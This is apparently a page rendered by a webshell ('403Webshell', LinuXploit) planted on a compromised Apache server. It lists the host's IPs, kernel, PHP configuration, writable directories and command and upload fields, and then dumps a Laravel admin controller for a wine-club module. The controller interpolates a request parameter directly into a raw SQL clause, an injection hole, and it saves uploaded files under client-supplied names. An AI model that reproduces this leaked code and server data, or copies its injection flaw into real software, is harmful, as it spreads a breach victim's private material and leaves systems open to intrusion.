403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Confraria/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Confraria/Controllers/Admin/AdminConfrariaController.php
<?php

namespace App\Modules\Confraria\Controllers\Admin;

use DB;
use Mail;
use Sentinel;
use Exception;
use App\Http\Requests;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\Empresa\Models\Empresa;
use App\Http\Controllers\BaseController;
use App\Modules\Confraria\Models\Confraria;
use App\Modules\ConfrariaKit\Models\ConfrariaKit;
use App\Modules\Confraria\Services\ConfrariaService;
use App\Modules\Confraria\Services\ConfrariaKitService;
use App\Modules\ConfrariaMembro\Models\ConfrariaMembro;
use App\Modules\ConfrariaConvite\Models\ConfrariaConvite;

use App\Services\GeralService;

use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;
use App\Modules\ConfrariaOfertaOpcional\Models\ConfrariaOfertaOpcional;

class AdminConfrariaController extends BaseController
{
	private $modulo;
	private $fields;
	private $fks;
	private $lastInsertId;

    public function __construct(){
		parent::__construct();
		$this->middleware('auth');
		$this->modulo = \App\Gerador::where('nome', 'Confraria')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;
		$this->confraria_m = new Confraria();
	}

	public function index(){
		$query = $this->confraria_m->select('confraria.*');

		$data['fields_listagem'] = array();
		foreach ($this->fields as $field) {
			if($field->listagem){
				$data['fields_listagem'][] = $field;
			}
		}
		foreach ($this->fks as $fk) {
			if($fk->listagem){
				if($fk->campoRelacionado->translatable){
					$table = $fk->moduloRelacionado->nome_tabela.'_descricao';
					$on = $fk->moduloRelacionado->nome_tabela.'_descricao.'.$fk->moduloRelacionado->nome_tabela.'_id';
				}else{
					$table = $fk->moduloRelacionado->nome_tabela;
					$on = $fk->moduloRelacionado->nome_tabela.'.id';
				}
				$query->leftJoin($table, 'confraria.'.$fk->nome, '=', $on);
				$query->addSelect($table.'.'.$fk->campoRelacionado->nome.' as fk'.$fk->id);
				$data['fields_listagem'][] = $fk;
			}
			
		}

		$query->whereRaw('confraria.deleted_at IS NULL');

		$data['confrarias'] = $query->groupBy('confraria.id')->get();

		usort($data['fields_listagem'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});

		return view('Confraria::admin/confraria',$data);
	}

	public function confrariaKit(){

		$query = ConfrariaKit::select('confraria_kit.*')->with(['confraria.cadastro']);

		$data['kits'] = $query->groupBy('confraria_kit.id')->get();

		return view('Confraria::admin/confraria-kit',$data);
	}

	public function confrariaFormKit($id){

		$data['kit']       = ConfrariaKit::select('confraria_kit.*')->with(['confraria.cadastro'])->where('confraria_kit.id', $id)->first();
		$data['confraria'] = $data['kit']->confraria;
		$data['cadastro']  = $data['kit']->confraria->cadastro;

		$data['ofertas'] = Oferta::where('tipo', 'CF')->orderBy('data', 'DESC')->get();

		return view('Confraria::admin/form-confraria-kit', $data);
	}

	public function confrariaSaveKit(Request $request){

		//VALIDAR TRANSACTION
		$resultado = new \stdClass;
        $resultado->status  = false;
        $resultado->message = 'Falha ao realizar operação!';

		$ConfrariaKit = ConfrariaKit::where('id', $request->input('id'))->first();
		$ConfrariaKit->situacao   = $request->input('situacao');
		// $ConfrariaKit->observacao = $request->input('observacao');
		$ConfrariaKit->oferta_id  = $request->input('oferta_id');
		$ConfrariaKit->usuario_aprovacao_id = Sentinel::getUser()->id;
		$ConfrariaKit->save();

		if($ConfrariaKit->situacao == 'A' && empty($ConfrariaKit->pedido_venda_id)){
			$resultado = ConfrariaKitService::incluirKitAdega($ConfrariaKit);
		}

		if($resultado->status){
			$resultado->url = url('/admin/confraria/kit');
		}

		return response()->json($resultado);
	}

	public function buscarOfertas(Request $request){

		$post  = $request->input();

		$query = Oferta::select('oferta.*', DB::raw("CONCAT(oferta.titulo, ' ', oferta.sub_titulo) as nome_oferta, canal_has_oferta.id_canal"))
		->join('canal_has_oferta', 'canal_has_oferta.id_oferta', '=', 'oferta.id')
		->join('canal', 'canal_has_oferta.id_canal', '=', 'canal.id')
		->where('canal.permitir_oferta_confraria', 1);

		if($request->input('tipo')){
			$query->where('oferta.tipo', $request->input('tipo'));
		}else{
			$query->whereNotIn('oferta.tipo', ['M']);
		}

		if($request->input('id_canal')){
			$id_canal = $request->input('id_canal');
			$query->whereRaw("NOT EXISTS (SELECT 1 FROM canal_has_oferta cho WHERE cho.id_oferta = oferta.id AND cho.id_canal = {$id_canal})");
		}

		$query->having('nome_oferta', 'like', '%'.$post['term']['term'].'%');

		$listaOfertas = $query->get();

		$lista = [];
		foreach ($listaOfertas as $objOferta) {
			$objOferta->disponibilidade = ((isset($objOferta->produtos) && count($objOferta->produtos) == 1) ? $objOferta->produtos[0]->produto->disponibilidade : 0);
			$lista[] = $objOferta;
		}

		return response()->json(array('items' => $lista));
	}

	public function add(){
		$data = array();
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['nextId'] = $this->confraria_m->getNextAutoIncrement();
		return view('Confraria::admin/form-confraria', $data);
	}

	public function edit($slug){
		$id = Confraria::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['confraria'] = $this->confraria_m->find($id);
		if($this->modulo->galeria){
			$data['confraria']->imagens = $this->confraria_m->getImagens($id);
		}
		return view('Confraria::admin/form-confraria',$data);
	}

	public function detalhe($slug){

		$data              = [];
		$data['confraria'] = Confraria::where('slug', $slug)->first();
		
		return view('Confraria::admin/detalhe-confraria', $data);
	}

	public function getMembros($confraria_id){

		try {
			
			$data['membros'] = ConfrariaMembro::where('confraria_id', $confraria_id)->where('confraria_membro.deleted', 0)->get();
			$html = view('Confraria::admin._membros', $data)->render();

			echo $html;

		} catch (Exception $e) {
			echo "<h3 style='color:red'>Erro ao carregar Membros<h3/>";
		}

	}

	public function getVendas($confraria_id){

		try {
			
			$pagamentos      = [];
			$ultimo_pedido   = FALSE;
			$listaPagamentos = ConfrariaService::buscarPagamentosPorConfraria($confraria_id);

			$empresas           = Empresa::all();
	        $pagarMe            = [];
	        foreach ($empresas as $empresa) {
	            $apiKey = $empresa->api_key_pagar_me;
	            $pagarMe[$empresa->id] =  new \PagarMe\Sdk\PagarMe($apiKey);
	        }

			foreach ($listaPagamentos as $pagamento) {
	            if(!$ultimo_pedido){
	                $ultimo_pedido = $pagamento;
	            }
				if($pagamento->transacao_id && !empty($pagamento->empresa_id)){
					$pagamento->transaction = $pagarMe[$pagamento->empresa_id]->transaction()->get($pagamento->transacao_id);
				}
	            
	            if($pagamento->pedidoEntrega){
	                $pedidoEntregaStatus            = PedidoEntregaHasStatus::where('id_pedido_entrega', $pagamento->pedidoEntrega->id)->orderBy('data', 'desc')->first();
	                $pagamento->pedidoEntregaStatus = $pedidoEntregaStatus->status;
	            }
	            $pagamentos[] = $pagamento;
			}

			$data['pagamentos'] = $pagamentos;

			$html = view('Confraria::admin._vendas', $data)->render();

			echo $html;

		} catch (Exception $e) {
			Log::info($e->getMessage());
			echo "<h3 style='color:red'>Erro ao carregar Vendas<h3/>";
		}

	}

	public function getAdegas($confraria_id){

		try {
			
			$listaAdegas = ConfrariaService::buscarAdegasConfraria(['confraria_id' => $confraria_id]);
			$adegas      = [];

			foreach ($listaAdegas as $adega) {
	            $listaAdega = GeralService::buscarListaAdegas($adega->id_cliente, FALSE, $adega->id, $adega->confraria_id);
	            $listaAdega = count($listaAdega) == 1 ? $listaAdega[0] : FALSE;
	            if($listaAdega){
	                
	                $qtde_produtos = (!empty($listaAdega->qtde_produtos) ? $listaAdega->qtde_produtos : 0) + (!empty($listaAdega->qtde_produtos_combo) ? $listaAdega->qtde_produtos_combo : 0);
	                $qtde_produtos = number_format($qtde_produtos, 0, '','');

	                if($listaAdega->quantidade_pedidos != $listaAdega->qtde_pedidos || $listaAdega->quantidade_produtos != $qtde_produtos || $listaAdega->valor_total != $listaAdega->total_pedidos){

	                    if(empty($listaAdega->quantidade_pedidos) && empty($listaAdega->qtde_pedidos)){
	                        return TRUE;
	                    }
	                    $adega->saldos = FALSE;
	                }else{
	                    $adega->saldos = TRUE;
	                }
					$adega->quantidade_pedidos  = $listaAdega->quantidade_pedidos;
					$adega->quantidade_produtos = $listaAdega->quantidade_produtos;
	            }else{
	                $adega->saldos = TRUE;
	            }
	            $adegas[] = $adega;
	        }

	        $data['adegas'] = $adegas;
			$html           = view('Confraria::admin._adegas', $data)->render();

			echo $html;

		} catch (Exception $e) {
			echo "<h3 style='color:red'>Erro ao carregar Adegas<h3/>";
		}

	}

	public function getEntregas($confraria_id){

		try {
			
			$data['confraria']  = Confraria::find($confraria_id);
			$data['entregas']   = ConfrariaService::buscarEntregasPorConfraria($confraria_id);
			$html = view('Confraria::admin._entregas', $data)->render();

			echo $html;

		} catch (Exception $e) {
			Log::error($e->getMessage());
			echo "<h3 style='color:red'>Erro ao carregar Entregas<h3/>";
		}

	}

	public function getCashback($confraria_id){

		try {
			
			$data['confraria'] = Confraria::find($confraria_id);
			$html              = view('Confraria::admin._cashback', $data)->render();

			echo $html;

		} catch (Exception $e) {
			echo "<h3 style='color:red'>Erro ao carregar Cashback<h3/>";
		}

	}

	public function getOfertasOpcionais(){

		try {
			
			$data['ofertas'] = ConfrariaOfertaOpcional::whereRaw('deleted_at IS NULL')->get();
			$html            = view('Confraria::admin._ofertas', $data)->render();

			echo $html;

		} catch (Exception $e) {
			echo "<h3 style='color:red'>Erro ao carregar Ofertas<h3/>";
		}

	}

	public function saveOfertaConfraria(Request $request){

		$ConfrariaOfertaOpcional = ConfrariaOfertaOpcional::where('oferta_id', $request->input('oferta_id'))->where('canal_id', $request->input('canal_id'))->whereRaw('deleted_at IS NULL')->first();

		if(!$ConfrariaOfertaOpcional){
			$ConfrariaOfertaOpcional = new ConfrariaOfertaOpcional;
			$ConfrariaOfertaOpcional->created_at = date('Y-m-d H:i:s');
		}
		$ConfrariaOfertaOpcional->oferta_id = $request->input('oferta_id');
		$ConfrariaOfertaOpcional->canal_id  = $request->input('canal_id');
		$ConfrariaOfertaOpcional->save();

		$json = [
			'status'  => true,
			'message' => 'Oferta salva com sucesso!'
		];

        return response()->json($json);

	}

	public function deleteOfertaConfraria($id){

		$ConfrariaOfertaOpcional = ConfrariaOfertaOpcional::where('id', $id)->first();
		$ConfrariaOfertaOpcional->deleted_at = date('Y-m-d H:i:s');
		$ConfrariaOfertaOpcional->save();

		$json = [
			'status'  => true,
			'message' => 'Oferta excluída com sucesso!'
		];

        return response()->json($json);

	}

	public function save(Request $request){

		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		if($request->input('id')){
			$id_confraria = $this->confraria_m->editar($arrayFields, $post, $request->input('id'));
		}else{
			$id_confraria = $this->confraria_m->criar($arrayFields, $post);
		}
		\Session::flash('type', 'success');
      \Session::flash('message', "Alteracoes salvas com sucesso!");
		return redirect('admin/confraria');

	}



	public function upload_image(Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/confraria/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;
			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function upload_galeria($id, Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file = $request->file('file');
			$tmpFilePath = '/uploads/confraria/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path = $tmpFilePath . $tmpFileName;

			$this->confraria_m->criar_imagem(array('id_confraria' => $id, 'thumbnail_principal' => $tmpFileName));

			return response()->json(array('path'=> $path, 'file_name'=>$tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function crop_image(Request $request) {
		$img = \Image::make('uploads/confraria/'.$request->input('file_name'));
		$dataCrop = json_decode($request->input('data_crop'));
		if($img->crop(intval($dataCrop->width), intval($dataCrop->height), intval($dataCrop->x), intval($dataCrop->y))->save('uploads/confraria/thumb_'.$request->input('file_name'))){
			@unlink('uploads/confraria/'.$request->input('file_name'));
			echo json_encode(array(
				'status' => true,
				'path' => '/uploads/confraria/thumb_'.$request->input('file_name'),
				'file_name' => 'thumb_'.$request->input('file_name'),
			));
		}else{
			echo json_encode(array(
				'status' => false,
				'message' => 'Não foi possível alterar a imagem.'
			));
		}

	}

	public function delete($slug){
		$id = Confraria::where('slug', $slug)->value('id');
		$this->confraria_m->deletar($id);

		\Session::flash('type', 'success');
      \Session::flash('message', "Registro removido com sucesso!");
		return redirect('admin/confraria');
	}

	public function delete_imagem($id){
		try{
			$imagem = $this->confraria_m->getImagem($id);
			$this->confraria_m->deletar_imagem($id);

			unlink('uploads/confraria/'.$imagem->thumbnail_principal);

			return response()->json(array('status' => true, 'message' => 'Registro removido com sucesso!'));
		}catch(Exception $e){
			return response()->json(array('status' => false, 'message' => $e->getMessage()));
		}


	}

	private function slugify($string)
    {
        return strtolower(trim(preg_replace('~[^0-9a-z]+~i', '-', html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);~i', '$1', htmlentities($string, ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8')), '-'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit